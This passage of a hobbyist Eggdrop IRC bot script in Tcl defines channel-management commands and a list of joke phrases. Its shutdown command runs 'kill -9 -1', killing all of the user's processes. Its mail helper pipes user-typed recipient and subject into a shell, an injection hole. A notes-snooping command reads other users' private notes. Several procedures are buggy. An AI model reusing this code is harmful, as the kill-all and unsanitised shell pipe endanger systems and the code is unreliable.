     putserv "NOTICE $nick :   $owns" 
     }
     set masters [userlist m]
     putserv "NOTICE $nick :Master(s):"
     foreach mas $masters {
     putserv "NOTICE $nick :   $mas"
     }
     putserv "NOTICE $nick :------------ End Of Status -----------"
}

proc pub_list {nick uhost handle channel vars} {
set flag [lindex $vars 0]
if {$flag == ""} {
putserv "NOTICE $nick :Usage: [char]match <userflag>"
}
putserv "NOTICE $nick :Matching UserFlag $flag"
set users [userlist $flag]
foreach match $users {
putserv "NOTICE $nick :   $match"
}
putserv "NOTICE $nick :[llength [userlist $flag]] Matchs found."
}

proc pub_bots {nick uhost handle channel vars} {
putserv "NOTICE $nick :Bots currently connected to me: [bots]"
}

proc pub_msg {nick host handle channel arg} {
set who [lindex $arg 0]
set why [lrange $arg 1 end]
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]MSG <nick to msg> <What to say>"
return 1
}
putserv "PRIVMSG $who :$why"
putserv "NOTICE $nick :Messaged $who with text '$why'"
return 1
}

proc pub_chanbans {nick host handle channel vars} {
set chan [lindex $vars 0]
if {$chan == ""} {
putserv "NOTICE $nick : [char]bans <channel>"
return 1
}
putserv "NOTICE $nick : Current Channel bans on $chan are:"
if {[chanbans $chan] == ""} {
putserv "NOTICE $nick : No current Channel bans for $chan"
return 1
}
set banz [chanbans $chan]
foreach bans $banz {
putserv "NOTICE $nick :   $bans"
}
putserv "NOTICE $nick : [llength [chanbans $chan]] Channel bans found."
return 1
}

proc pub_banner {nick uhost handle channel arg} {
set what [lrange $arg 0 end]
if {$what == ""} {
putserv "NOTICE $nick :Usage: [char]banner <message>"
return 1
}
putserv "NOTICE $channel : ROOM WIDE MESSAGE:"
putserv "NOTICE $channel :$what"
return 1
}

proc pub_server {nick host handle channel vars} {
global server
putserv "NOTICE $nick :I'm currently on $server"
return 1
}

proc pub_ctcp {nick uhost handle channel arg} {
set who [lindex $arg 0]
set what [lindex $arg 1]
set reply [lrange $arg 2 end]
if {$reply == ""} {
putserv "NOTICE $nick :Usage: [char]ctcp <nick> <command> <reply>"
return 1
}
putserv "NOTICE $who : [string toupper $what] $reply"
putserv "NOTICE $nick :Sent ctcp to $who: $what: $reply"
return 1
}

proc pub_die {nick uhost handle channel vars} {
global botnick
putserv "NOTICE $nick :SHUTTING DOWN..."
putlog "* BOT SHUTDOWN (authorized by $handle)"
save
putlog "Writing user file..."
putserv "QUIT :$vars"
set b [open pid.$botnick]
set a [read $b]
close $b
exec kill -9 -1
}

proc dcc_do_mode {handle idx arg} {
set channel [lindex [console $idx] 0]
set who [lindex $arg 0]
set when [lrange $arg 1 end]
if {![botisop $channel]} {
putserv "NOTICE $nick :I am not currently opped in $channel"
return 1
}
if {$who == ""} {
putserv "NOTICE $nick :Usage: .MODE <Channel mode you want to set>"
return 1
}
putserv "MODE $channel $who $when"
return 1
}

proc pub_chans {nick host handle channel arg} {
set chans [channels]
putserv "NOTICE $nick :I am currently on : $chans "
return 1
}

proc pub_note {nick host handle channel arg} {
set who [lindex $arg 0]
set whom [lindex $arg 1]
set what [lrange $arg 2 end]
if {![validuser $who]} {
putserv "NOTICE $nick :$who isnt a valid user"
return 1
}
if {![validuser $whom]} {
putserv "NOTICE $nick :$who isnt a valid user."
return 1
}
if {$whom == ""} {
putserv "NOTICE $nick :Usage: SENDNOTE <from who> <to who> <note>"
return 1
}
set from "Public Note Sent from $nick!uhost on $channel at [time] --"
sendnote $who $whom $what
putserv "NOTICE $nick :Sent Message from $who to $whom with the note '$what'. 
return 1
}

proc pub_mode {nick host handle channel arg} {
set who [lindex $arg 0]
if {![botisop $channel]} {
putserv "NOTICE $nick :I am not currently opped in $channel"
return 1
}
if {$who == ""} {
putserv "NOTICE $nick :Usage: MODE <Channel mode you want to set>"
return 1
}
putserv "MODE $channel $who"
return 1
}

proc dcc_do_enforce {handle idx arg} {
set who [lindex [console $idx] 0]
set why [lrange $arg 0 end]
  if {$why == ""} {
  putdcc $idx "Usage :Enforcemode <channel> <settings> :+ means yes, - means no :s t n m p i l k" 
  return 1
  }
  if {$who == ""} {
  putdcc $idx "Usage :Enforcemode <channel> <settings> :+ means yes, - means no :s t n m p i l k" 
  return 1
  }
  if {[lsearch -exact [string tolower [channels]] [string tolower $who]] == -1} {
    putdcc $idx "I Dont Enforce $who Type '.join $who' to join me there!"
    return 0
  }
set setmodes [channelmodechange $handle $who $why]
if {$setmodes == { }} {
set setmodes [lrange [channel info $who] 0 1]
} {
  }
putlog "#$handle# enforcemode $who '$setmodes'"
}

proc pub_rembot {nick host handle channel vars} {
set who [lindex $vars 0]
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]rembot <nick>"
}
if {![validuser $who]} {
putserv "NOTICE $nick :Error: $who isn't a valid user."
}
if {[matchattr $who n]} {
putserv "NOTICE $nick :Error: $who is a owner."
}
deluser $who
putserv "NOTICE $nick :Deleted $who"
}

proc dcc_botcycle {handle idx channel} {
  global defchanmodes
  global botnick
  if {([llength $channel] != 1) || ([string first # $channel] == -1)} {
    putdcc $idx "Usage: .cycle #channel"
    return 0
  }
  if {![onchan $botnick $channel]} {
putdcc $idx "Im not on $channel!"
return 1
  } else {
  putserv "PART $channel"
  putserv "JOIN $channel"
putserv "sleep 6"
  if {![onchan $botnick $channel]} {
putdcc $idx "I Couldn't Re-Join $channel!"
return 0
}
putdcc $idx "I have sucessfully Cycled $channel"
  return 0
  }
}

proc pub_invite {nick host handle channel arg} {
global botnick
set who [lindex $arg 0]
set why [lrange $arg 1 end]
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]invite <nick> <channel>"
return 1
}
if {$why == ""} {
if {[lsearch [string tolower [channels]] [string tolower $who]] >= 0} {
if {[onchan $nick $who]} {
          putserv "NOTICE $nick :$nick is already on $channel."
          return 0
          }
          if {![isop $botnick $who]} {
          putserv "NOTICE $nick :I cant help you right now because im not a channel op!"
          return 1
          }
       putserv "INVITE $nick $who"
       putserv "NOTICE $nick :I Invited $nick to $who"
       return 0
       }
     if {![isop $botnick $channel]} {
     putserv "NOTICE $nick :I cant help you right now because im not a channel op!"
     return 1
    }
    if {[onchan $who $channel]} {
          putserv "NOTICE $nick :$who is already on $channel."
          return 0
          }
putserv "INVITE $who $channel"
putserv "PRIVMSG $channel :$who has Been Invited to This channel Requested by $nick"
return 1
}
if {[lsearch [string tolower [channels]] [string tolower $why]] <= -1} {
putserv "NOTICE $nick :I Dont Enforce Channel $why "
return 0
}
if {![onchan $botnick $why]} {
putserv "NOTICE $nick :I am not currently on $why "
return 1
}
if {![isop $botnick $why]} {
putserv "NOTICE $nick :I cant help you right now because im not a channel op!"
return 1
}
if {[onchan $who $why]} {
          putserv "NOTICE $nick :$who is already on $channel. "
          return 0
          }
putserv "INVITE $who $why"
putserv "PRIVMSG $why :$who has Been Invited to This channel Requested by $nick "
}

proc pub_save {nick host handle channel arg} {
save
putserv "NOTICE $nick :Writing userfile..."
return 1
}

proc dcc_wall {hand idx text} {
  global chan ops botnick

  if {[lindex $text 0] == ""} {
    putdcc $idx "Usage: wall <text>"
    return 0
  }

  if {[channels] == ""} {
    putdcc $idx "I'm not in any channels!"
    return 0
  }

  set ops 0
  set chan [string tolower [lindex [console $idx] 0]]

  if {[lsearch -exact [string tolower [channels]] $chan] == -1} {
    putdcc $idx "I'm not in $chan. Please change your console"
    putdcc $idx "to another channel, or type \".help console\"."
    return 0
  }

  if ![onchan $botnick $chan] {
    putdcc $idx "Strange.. I'm not in $chan right now."
    return 0
  }

  if ![botisop $chan] {
    putdcc $idx "I am not a channel operator in $chan."
    return 0
  }

  foreach user [chanlist $chan] {
    if [isop $user $chan] {set ops [expr $ops+1]}
  }

  if {$ops == 1} {
    putdcc $idx "No channel operators found in $chan..."
    return 0
  }

  putdcc $idx "WallOp:\002$chan\002($ops) $text"

  foreach nick [chanlist $chan] {
    if {[isop $nick $chan] && $nick != $botnick} {
      putserv "NOTICE $nick :WallOp:\002$chan\002($ops) $text"
    }
  }
  return 1
}

proc pub_reload {nick host handle channel arg} {
reload
putserv "NOTICE $nick :Reloading user file..."
putlog "#$handle# Reload"
return 1
}

proc pub_say {nick host handle channel arg} {
set who [lindex $arg 0] 
set why [lrange $arg 1 end] 
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]say <What you want me to say to the channel.>"
return 1
}
putserv "PRIVMSG $channel :$who $why"
return 1
} 

proc flag_note {hand idx arg} {
  set wha_flag [lindex $arg 0]
  set da_note [lrange $arg 1 end]
  if {$wha_flag == "" || $da_note == ""} {
    putdcc $idx "USAGE: .flagnote <flag> <message>"
    return 0
  }
  if {
    $wha_flag != "k" && $wha_flag != "o" && $wha_flag != "j" &&
    $wha_flag != "f" && $wha_flag != "c" && $wha_flag != "n" &&
    $wha_flag != "m" && $wha_flag != "d" && $wha_flag != "x" &&
    $wha_flag != "p"} {
      putdcc $idx "Flag \002 +$wha_flag \002 is not a User Defined Flag."
      return 0
    }
  set flagnote_userlist [userlist $wha_flag]
  set topnum [llength $flagnote_userlist]
  putdcc $idx "Writing note To The users with \002 +$wha_flag \002 Flag. There are \002 $topnum \002 users with this Flag."
  set counter 0
  while {$counter != $topnum} {
    set to_user [lindex $flagnote_userlist $counter]
    if {![matchattr $to_user b]} {
      sendnote $hand $to_user "\002 To: +$wha_flag Users: \002 $da_note"
    }
    incr counter 1
  }
  return 0
}

proc spy_notes {hand idx spy} {
  if {$spy == "" || [llength $spy] > 1} {
    putdcc $idx "USAGE: .spynotes <handle>"
    return 0
  }

  if {![validuser $spy]} {
    putdcc $idx "Unknown user..$spy"
    return 0
  }
 
  global notefile
  set anote 0

if [file exists $notefile] {
  set f [open $notefile r]
  while {[gets $f line] > -1} {
    if {[string compare [string tolower [lindex $line 0]] [string tolower $spy]] == 0} {
	incr anote
	putdcc $idx "$anote\. [lindex $line 1] \([ctime [lindex $line 2]]\): [lrange $line 3 end]"
    }
  }
  close $f
} else {
  putdcc $idx "Can't find a note file"
  return 0
}
  if {!($anote)} {
    putdcc $idx "$spy does not have any notes"
  }
  return 0
}

proc pub_jump {nick host handle channel arg} {
set who [lindex $arg 0]
set pt [lindex $arg 1]
set pswd [lindex $arg 2]
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]jump <server> & <port> <password> if necessary"
return 1
}
putserv "NOTICE $nick :Jumping Servers"
putserv "NOTICE $nick :$who $pt $pswd"
jump $who $pt $pswd
return 1
}

proc pub_time {nick host handle channel arg} {
putserv "PRIVMSG $channel :The Current Time is: [time] GMT"
return 1
}

proc pub_date {nick host handle channel arg} {
set who [date]
putserv "PRIVMSG $channel :The Current Date is: $who."
return 1
}

proc pub_pban {nick host handle channel arg} {
global botnick
set why [lrange $arg 1 end]
set who [lindex $arg 0]
set n2hand [nick2hand $who $channel]
set ban [maskhost [getchanhost $who $channel]]
regsub {\*!} $ban \*!\* p_ban
set ban $p_ban
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]SHIT <Nick to shitlist>"
return 1
}
if {![onchan $who $channel]} {
putserv "NOTICE $nick :$who is currently not on $channel"
return 1
}
if {[string tolower $who] == [string tolower $botnick]} {
putserv "KICK $channel $nick : You are Not Welcome "
return 1
}
if {[matchattr $n2hand m]} {
putserv "NOTICE $who :$nick tried to shitlist you."
putserv "NOTICE $nick :You tried to shitlist $who, He is a Master. He's gonna have to beat the shit out of you now. You might be added to my Perm Ban List."
set reas " Shitlisting My Master? You Lamer!"
addban $ban $channel $reas
putserv "KICK $channel $nick : Shitlist My Master? You Lamer!"
return 1
}
addglban $ban $why
putserv "KICK $channel $who : $why "
putlog "#$handle# shit $who!$ban With Reason: $why."
putserv "NOTICE $nick :Shitlisted $who on $channel. Reason: '$why'."
return 1
}

proc pub_leave {nick uhost channel handle vars} {
global botnick
set chan [lindex $vars 0]
if {$chan == ""} {
putserv "NOTICE $nick :Usage: [char]part <channel>"
}
if {![onchan $botnick $chan]} {
putserv "NOTICE $nick :Error: Not On $chan"
}
channel remove $chan
putserv "NOTICE $nick :Left $chan"
}

proc pub_join {nick host handle channel args} {
global botnick
set chan [lindex $args 0]
set curchan [channels]
if {$chan == ""} {
putserv "NOTICE $nick :Usage: [char]join <channel>"
}
foreach chann $curchan {
if {[string tolower $chann] == [string tolower $chan]} {
putserv "NOTICE $nick :Error: Already On $chan"
}
}
channel add $chan {
chanmode "+nt"
-clearbans +enforcebans -dynamicbans +userbans +autoop -bitch +greet +protectops -statuslog
}
putserv "NOTICE $nick :Joined $chan"
}

proc pub_userlist {nick uhost handle channel vars} {
    global botnick
    if {$vars != ""} then {set vars " $vars"}
    putserv "NOTICE $nick :Current Users on $botnick are:"
    putserv "NOTICE $nick :[userlist$vars]"
    putserv "NOTICE $nick :[llength [userlist$vars]]$vars users total"
}

proc pub_addbot {nick host handle channel arg} {
global botnick
set who [lindex $arg 0]
set what [lrange $arg 1 end]
set bots_hostmask [maskhost [getchanhost $who $channel]]
if {[string tolower $who] == [string tolower $botnick]} {return 0}
if {![onchan $who $channel]} {
putserv "NOTICE $nick :$who isnt on $channel "
return 1
}
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]Addbot <botnick> <hostname:port#>"
return 1
}
addbot $who $what
addhost $who $bots_hostmask
putserv "NOTICE $nick :Added $who to User-Database as a bot, with hostmask $bots_hostmask"
return 1
}

proc pub_chatme {nick uhost handle channel vars} {
    global telnet ret
    if {$telnet < "1024"} {
        putserv "NOTICE $nick :Sorry, your host isn't reachable at this time..."
    }
    putserv "PRIVMSG $nick :DCC CHAT chat [myip] $telnet"
    putserv "NOTICE $nick :DCC Chat - initializing.."
}

proc dcc_unbans {hand idx vars} {
    if {$vars == ""} {
        putdcc $idx "Format: .unbans <mask>"
        return 0
    }
    set unbans ""
    set unbans2 0
    foreach i [banlist] {
        if [string match $vars [lindex $i 0]] {
            lappend unbans \{$i\}
            incr unbans2
        }
    }
    if {$unbans2 == "0"} {
        putdcc $idx "Found no matches."
        return 0
    } {
        putdcc $idx "Deleting $unbans2 bans:"
        set uban 1
        foreach i $unbans {
            putdcc $idx "  \[[format "%2d" $uban]\] [lindex [lindex $i 0] 0]"
            putdcc $idx "        [lindex $i 5]: [lindex $i 1]"
            putdcc $idx "        Created [ctime [lindex $i 3]], last used [ctime [lindex $i 2]]"
            incr uban
            killban [lindex [lindex $i 0] 0]
        }
        return 1
    }
}

set phrases {
     "Best file compression around: 'DEL *.*' = 100% compression"
     "If debugging is the process of removing bugs, then programming must be the process of putting them in."
     "Programmers don't die, they just GOSUB without RETURN."
     "Programmer - A red-eyed, mumbling mammal capable of conversing with inanimate objects."
     "Real programmers don't document. 'If it was hard to write, it should be hard to understand.'"
     "Be nice to your kids. They'll choose your nursing home."
     "Beauty is in the eye of the beer holder..."
     "There are 3 kinds of people: those who can count & those who can't."
     "Why is 'abbreviation' such a long word?"
     "Don't use a big word where a diminutive one will suffice."
     "Every morning is the dawn of a new error..."
     "A flying saucer results when a nudist spills his coffee."
     "For people who like peace and quiet: a phoneless cord."
     "I can see clearly now, the brain is gone..."
     "The beatings will continue until morale improves."
     "I used up all my sick days, so I'm calling in dead."
     "Mental Floss prevents Moral Decay."
     "Madness takes its toll. Please have exact change."
     "Proofread carefully to see if you any words out."
     "There cannot be a crisis today; my schedule is already full."
     "I'd explain it to you, but your brain would explode."
     "Ever stop to think, and forget to start again?"
     "A conclusion is simply the place where you got tired of thinking."
     "I don't have a solution but I admire the problem."
     "Don't be so open-minded your brains will fall out."
     "If at first you DO succeed, try not to look astonished!"
     "Diplomacy is the art of saying 'Nice doggie!'... till you can find a rock."
     "Diplomacy - the art of letting someone have your way."
     "If one synchronized swimmer drowns, do the rest have to drown too?"
     "If things get any worse, I'll have to ask you to stop helping me."
     "If I want your opinion, I'll ask you to fill out the necessary forms."
     "Don't look back, they might be gaining on you."
     "It's not hard to meet expenses, they're everywhere."
     "Help Wanted: Telepath. You know where to apply."
     "Look out for #1. Don't step in #2 either."
     "Budget: A method for going broke methodically."
     "Car service: If it ain't broke, we'll break it."
     "Shin: A device for finding furniture in the dark."
     "Do witches run spell checkers?"
     "Demons are a Ghouls best Friend."
     "Copywight 1994 Elmer Fudd. All wights wesewved."  
     "Dain bramaged."
     "Department of Redundancy Department"
     "Headline: Bear takes over Disneyland in Pooh D'Etat!"
     "What has four legs and an arm? A happy pit bull."
     "Cannot find REALITY.SYS. Universe halted."
     "COFFEE.EXE Missing - Insert Cup and Press Any Key"
     "Buy a Pentium 586/90 so you can reboot faster."
     "2 + 2 = 5 for extremely large values of 2."
     "Computers make very fast, very accurate mistakes."
     "Computers are not intelligent. They only think they are."
     "My software never has bugs. It just develops random features."
     "C:\WINDOWS C:\WINDOWS\GO C:\PC\CRAWL"
     "C:\DOS C:\DOS\RUN RUN\DOS\RUN"
     "<-------- The information went data way --------"
     "The Definition of an Upgrade: Take old bugs out, put new ones in."
     "BREAKFAST.COM Halted...Cereal Port Not Responding"
     "The name is Baud......, James Baud."
     "BUFFERS=20 FILES=15 2nd down, 4th quarter, 5 yards to go!"
     "Access denied--nah nah na nah nah!"
     "C:\ Bad command or file name! Go stand in the corner."
     "Bad command. Bad, bad command! Sit! Stay! Staaay.."
     "Why doesn't DOS ever say 'EXCELLENT command or filename!'"
     "As a computer, I find your faith in technology amusing."
     "Southern DOS: Y'all reckon? (Yep/Nope)"
     "Backups? We don' *NEED* no steenking backups."
     "E Pluribus Modem"
     "File not found. Should I fake it? (Y/N)"
     "Ethernet (n): something used to catch the etherbunny"
     "A mainframe: The biggest PC peripheral available."
     "An error? Impossible! My modem is error correcting."
     "CONGRESS.SYS Corrupted: Re-boot Washington D.C (Y/n)?"
     "Does fuzzy logic tickle?"
     "A computer's attention span is as long as it's power cord."
     "11th commandment - Covet not thy neighbor's Pentium." 
     "24 hours in a day...24 beers in a case...coincidence?"
     "Disinformation is not as good as datinformation."
     "Windows: Just another pain in the glass."
     "SENILE.COM found . . . Out Of Memory . . ."
     "Who's General Failure & why's he reading my disk?"
     "Ultimate office automation: networked coffee." 
     "RAM disk is *not* an installation procedure."
     "Shell to DOS... Come in DOS, do you copy? Shell to DOS..."
     "All computers wait at the same speed."
     "DEFINITION: Computer - A device designed to speed and automate errors."
     "Press Smash forehead on keyboard to continue....."
     "Enter any 11-digit prime number to continue..."
     "ASCII stupid question, get a stupid ANSI!"
     "E-mail returned to sender -- insufficient voltage."
     "Help! I'm modeming... and I can't hang up!!!"
     "All wiyht. Rho sritched mg kegtops awound?"
     "Error: Keyboard not attached. Press F1 to continue."
     "'640K ought to be enough for anybody.' - Bill Gates, 1981"
     "DOS Tip #17: Add DEVICE=FNGRCROS.SYS to CONFIG.SYS"
     "Hidden DOS secret: add BUGS=OFF to your CONFIG.SYS" 
     "Press any key... no, no, no, NOT THAT ONE!"
     "Press any key to continue or any other key to quit..."
     "Excuse me for butting in, but I'm interrupt-driven."
     "REALITY.SYS corrupted: Reboot universe? (Y/N/Q)"
     "Sped up my XT; ran it on 220v! Works greO?_~"
     "Error reading FAT record: Try the SKINNY one? (Y/N)"
     "Read my chips: No new upgrades!"
     "Hit any user to continue."
     "2400 Baud makes you want to get out and push!!"
     "I hit the CTRL key but I'm still not in control!"
     "Will the information superhighway have any rest stops?"
     "Disk Full - Press F1 to belch."
     "Backup not found: (A)bort (R)etry (T)hrowup"
     "Backup not found: (A)bort (R)etry (P)anic"
     "(A)bort, (R)etry, (T)ake down entire network?"
     "(A)bort, (R)etry, (G)et a beer?"
     "."
     "Alt-F4 will help you, like it helped me!"
}

proc pub_version {nick host handle channel vars} {
putserv "NOTICE $nick :ChanToolzPro by:( _GoGo_ )"
}

proc pub_ver {nick host handle chan args} {
putserv "PRIVMSG $chan :ChanToolzPro by:( _GoGo_ )"
}

proc pub_bot_call {nick uhost handle chan args} {
   global phrases botnick channel
   set outputiz [lindex $phrases [rand [llength $phrases]]]
   putserv "PRIVMSG $chan : $outputiz"
   putlog "<<$nick>> !$handle! $botnick..."
}

proc dcc_botjoin {hand idx arg} {
  channel add $arg
  putdcc $idx "OK, $hand, Now joining $arg"
}

proc dcc_botpart {hand idx arg} {
  channel remove $arg
  putdcc $idx "OK, $hand, Now leaving $arg"
}

proc dcc_massop {hand idx chan} {
  if {$chan == ""} {
    set chan [lindex [channels] 0]
  } else {
    if {[lsearch -exact [string tolower [channels]] [string tolower $chan]] < 0} {
      putdcc $idx "Sorry, I'm not on a channel called $chan"
      return 0
    }
  }
  putdcc $idx [mass_op $chan]
  return 1
}

proc dcc_massdeop {hand idx chan} {
  if {$chan == ""} {
    set chan [lindex [channels] 0]
  } else {
    if {[lsearch -exact [string tolower [channels]] [string tolower $chan]] < 0} {
      putdcc $idx "Sorry, I'm not on a channel called $chan"
      return 0
    }
  }
  putdcc $idx [mass_deop $chan]
  return 1
}

proc mass_op {channel} {
  if ![botisop $channel] {
    global server
    return "I don't have ops on $channel according to $server"
  }
  foreach p [chanlist $channel o] {
    if ![isop $p $channel] {
        lappend oplist $p
    }
  }
  if ![info exists oplist] {
    return "Couldn't find anyone needing ops on $channel"
  }
  set cnt 0
  while {$cnt < [llength $oplist]} {
    putserv "MODE $channel +oooo [lrange $oplist $cnt [expr $cnt + 3]]"
    incr cnt 4
  }
  return "Oping [llength $oplist] on $channel\: $oplist"
}

proc mass_deop {channel} {
  if ![botisop $channel] {
   global server
   return "I don't have ops on $channel according to $server"
  }
  foreach p [chanlist $channel] {
    set who [finduser ${p}![getchanhost $p $channel]]
    if {[isop $p $channel] && ![matchattr $who m] && ![matchattr $who f] && ![matchattr $who o]} {
      lappend deoplist $p
    }
  }
  if ![info exists deoplist] {
    return "Couldn't find anyone needing deoped on $channel"
  }
  set cnt 0
  while {$cnt < [llength $deoplist]} {
    putserv "MODE $channel -oooo [lrange $deoplist $cnt [expr $cnt + 3]]"
    incr cnt 4
  }
  return "Deoping [llength $deoplist] on $channel\: $deoplist"
}

proc do_look { bot cmd arg } {
global snicks schans
   if { $schans != "" } { 
      set cnt 0
      while {$cnt < [llength $schans]} {
 	putserv "NOTICE [lindex $schans $cnt] :$arg "
	incr cnt 1
      }
   }
   if { $snicks == "" } { return 0 }
   set cnt 0
   while {$cnt < [llength $snicks]} {
 	putserv "NOTICE [lindex $snicks $cnt] :$arg "
	incr cnt 1
   }
}

proc rem_split { nick uhost hand arg } {
   global snicks nsnicks
   set lownick [string tolower $nick]
   if {$snicks == "" } { 
	putserv "PRIVMSG $nick :There are no names to remove"
   	return 1
	}
   foreach n $snicks {

   	if {[lsearch -exact $lownick $n] > -1 } {
	putserv "PRIVMSG $nick :Removed $nick from split showing"
	} else {
        append nsnicks " $n"
        }
   }
   if {$nsnicks == ""} { set snicks "" } else {
   set snicks $nsnicks 
   set nsnicks ""
   }
   return 1
}
proc pub_togchan { nick uhost handle channel arg } {
   global schans nschans
   set lowchan [string tolower $channel]
   if {$schans == "" } { 
	set schans $lowchan
	putserv "PRIVMSG $lowchan :Ok now echoing split/joins"
        if { $arg == "MSGD" } { 
          putserv "PRIVMSG $nick :Ok now echoing split/joins to $lowchan"
        }
   	return 1
 	}
   set found 0
   foreach n $schans {
   	if {[lsearch -exact $lowchan $n] > -1 } {
  	 putserv "PRIVMSG $lowchan :Removed $lowchan from split displaying"
        if { $arg == "MSGD" } { 
          putserv "PRIVMSG $nick :Removed $lowchan from split displaying"
        }
         set found 1
	} else {
         append nschans " $n"
        }
   }
   if {$nschans == ""} { set schans "" } else {
   set schans $nschans 
   set nschans ""
     if {$found == 0} { 
       append schans " $lowchan" 
       putserv "PRIVMSG $lowchan :Now echoing splits/joins"
        if { $arg == "MSGD" } { 
          putserv "PRIVMSG $nick :Ok now echoing split/joins to $lowchan" 
        }
       return 1
     }
   }
   return 1
}

proc add_split { nick uhost hand arg } {
   global snicks botnick
   set lownick [string tolower $nick]
   if {$snicks == "" } { 
	set snicks $lownick
	putserv "PRIVMSG $nick :Ok now echoing split/joins to you"
	putserv "PRIVMSG $nick :Use /MSG $botnick rsplit   to stop"
   	return 1
	}
   foreach n $snicks {
   	if {[lsearch -exact $lownick $n] > -1 } {
	putserv "PRIVMSG $nick :allready sending net-split info to $nick"
	return 1
	}
   }
	append snicks " $lownick"
	putserv "PRIVMSG $nick :Ok now echoing split/joins to you"
	putserv "PRIVMSG $nick :Use /MSG $botnick rsplit   to stop"
	return 1
}

proc do_msgsp { nick uhost handle channel } {
	if { $channel == "" } {
           putserv "PRIVMSG $nick :You must specify a channel"
        } else {
          set lowchan [string tolower $channel]
          if {[lsearch [string tolower [channels]] $lowchan] == -1 } {
             putserv "PRIVMSG $nick :I am not on $channel"
             return 0
          }
        }
        set arg "MSGD"
        pub_togchan $nick $uhost $handle $channel $arg        
}

proc dccjoin {nick uhost handle channel}  {
putserv "MODE $channel +v $nick"
}

proc bfldr {nick uhost hand type channel} {
global banmask
set banmask [maskhost [getchanhost $nick $channel]]
newban $banmask "CTCP Flood You are banned for 5 minutes you lamah" 4
putserv "Notice $nick :You are banned for 5 minutes, flooding is not tolerated here."
}

proc pub_topic {user host handle channel arg} {
set what [lrange $arg 0 end]
if {$what == ""} {
putserv "NOTICE $user :Usage: TOPIC <Topic you want.>"
return 1
}
if {![botisop $channel]} {
putserv "NOTICE $nick :   X-TreMe Status: I am not currently opped on $channel  "
return 1
} 
putserv "TOPIC $channel :$what"
return 1
}

proc repeat_pubm {nick uhost hand chan text} {
  if [matchattr $hand f] {return 0}
  global repeat_last repeat_num repeat-kick
  if [info exists repeat_last([set n [string tolower $nick]])] {
    if {[string compare [string tolower $repeat_last($n)] \
        [string tolower $text]] == 0} {
      if {[incr repeat_num($n)] >= ${repeat-kick}} {
        putserv "KICK $chan $nick :Repeatin's For Kids!"
        unset repeat_last($n)
        unset repeat_num($n)
      }
      return
    }
  }
  set repeat_num($n) 1
  set repeat_last($n) $text
}

proc repeat_nick {nick uhost hand chan newnick} {
  if [matchattr $hand f] {return 0}
  global repeat_last repeat_num
  catch {set repeat_last([set nn [string tolower $newnick]]) \
         $repeat_last([set on [string tolower $nick]])}
  catch {unset repeat_last($on)}
  catch {set repeat_num($nn) $repeat_num($on)}
  catch {unset repeat_num($on)}
}

proc repeat_timr {} {
  global repeat_last
  catch {unset repeat_last}
  catch {unset repeat_num}
  timer 1 repeat_timr
}

if ![regexp repeat_timr [timers]] {
  timer 1 repeat_timr
}

proc pub_cycle {nick host handle channel vars} {
putserv "PART $channel"
putserv "JOIN $channel"
putlog "$nick made me cycle $channel."
return 0
}

proc pub_do_ping {nick uhost hand chan arg} {
  putserv "PRIVMSG $nick :\001PING [unixtime]\001"
  putlog "[char]ptime received from $nick"
  return 0
}

proc lag_reply {nick uhost hand dest key arg} {
  if {$key == "PING"} {
    set endd [unixtime]
    set lagg [expr $endd - $arg]
    if {$lagg > "30"} {
      putserv "NOTICE $nick :Geez!  You are horribly lagged!! Yer $lagg seconds behind the rest of us!  :(  Switch servers QUICK!"
      putlog "$nick is lagged by $lagg secs"
      return 1
    }
    if {$lagg > "15"} {
      putserv "NOTICE $nick :You are quite lagged!! Your ping time is $lagg secs! :("
      putlog "$nick is lagged by $lagg secs"
      return 1
    }
    putserv "NOTICE $nick :You are lagged by $lagg secs!  Not too bad! :)"
    putlog "$nick is lagged by $lagg secs"
  }
}

proc dcc_sendmail {hand idx arg} {
   global lineinp msg_ptr isdone messages

   set msg_ptr 0
   set isdone 0
   set lineinp ""

   set messages { "Send mail to?"
                  "Subject of message?"
                  "Begin composing your message now, when complete type done on a blank line."
                }

   putdcc $idx [lindex $messages $msg_ptr]

   control $idx control_sendmail
}

proc control_sendmail {idx arg} {
   global lineinp msg_ptr isdone messages

   set r 0

   switch [string tolower [lindex $arg 0]] {
      ""      { 
                 set lineinp ""
                 set r 1
              }
      "done"  {
                 if {$msg_ptr >= 2} {
                    set isdone 1
                    set r 1
                    release_sendmail $idx
                 }
              }
      default {
                 lappend lineinp $arg
                 incr msg_ptr

                 if {$msg_ptr <= 2} {
                    putdcc $idx [lindex $messages $msg_ptr]
                 }
              }
   }

   return $r
}

proc release_sendmail {idx} {
   global lineinp

   putdcc $idx "Okay, sending your mail now..."

   set fd [open "|mail -s \"[lindex $lineinp 1]\" [lindex $lineinp 0]" "w"]

   for {set j 2} {[lindex $lineinp $j] != ""} {incr j} {
      puts $fd [lindex $lineinp $j]
   }

   close $fd
   putdcc $idx "Your message was delivered, returning you to the party line..."
}

proc pub_whos {nick uhost handle channel vars} {
  global botnick
  set ctr 0
  set arg [lindex $vars 0]
  for {set channelinfo 0} {$channelinfo < [llength [channels]]} {incr channelinfo} {
  set channel2 [lindex [channels] $channelinfo]
   if {[validuser $arg]} {      
         set lastime [getlaston $arg]
         set host [gethosts $arg]
         set info [getinfo $arg]
         set email [getemail $arg]
         set signoffmsg [getxtra $arg]
         putserv "NOTICE $nick :Whois  $arg "
         putserv "NOTICE $nick :Handle:  $arg "
         putserv "NOTICE $nick :Flags:  [chattr $arg]"
         putserv "NOTICE $nick :Known Hosts:  $host "
         if {$info == ""} {
         } else {
          putserv "NOTICE $nick :Info:  $info "
        }
        if {$email == ""} {
        } else {      
        putserv "NOTICE $nick :E-mail Address:  $email "
        }
        if {[hand2nick $arg $channel] == ""} {
          } else {
          set hander [hand2nick $arg $channel]
          putserv "NOTICE $nick :Last Time I saw $arg was was:  [ctime $lastime] "
          if {$signoffmsg == ""} {
          } else {
              putserv "NOTICE $nick :Sign Off Msg:  $signoffmsg "
          }
          putserv "NOTICE $nick :$arg is on as $hander. "
          if {[getchanidle $hander $channel] == 0} {
          } else {
            putserv "NOTICE $nick :Idle Time:  [getchanidle $hander $channel] minutes  "
          }
        }
        if {[matchattr $arg m] == 1} {
           putserv "NOTICE $nick :$arg is My Master.   "
        }
        if {[matchattr $arg b] == 1} {
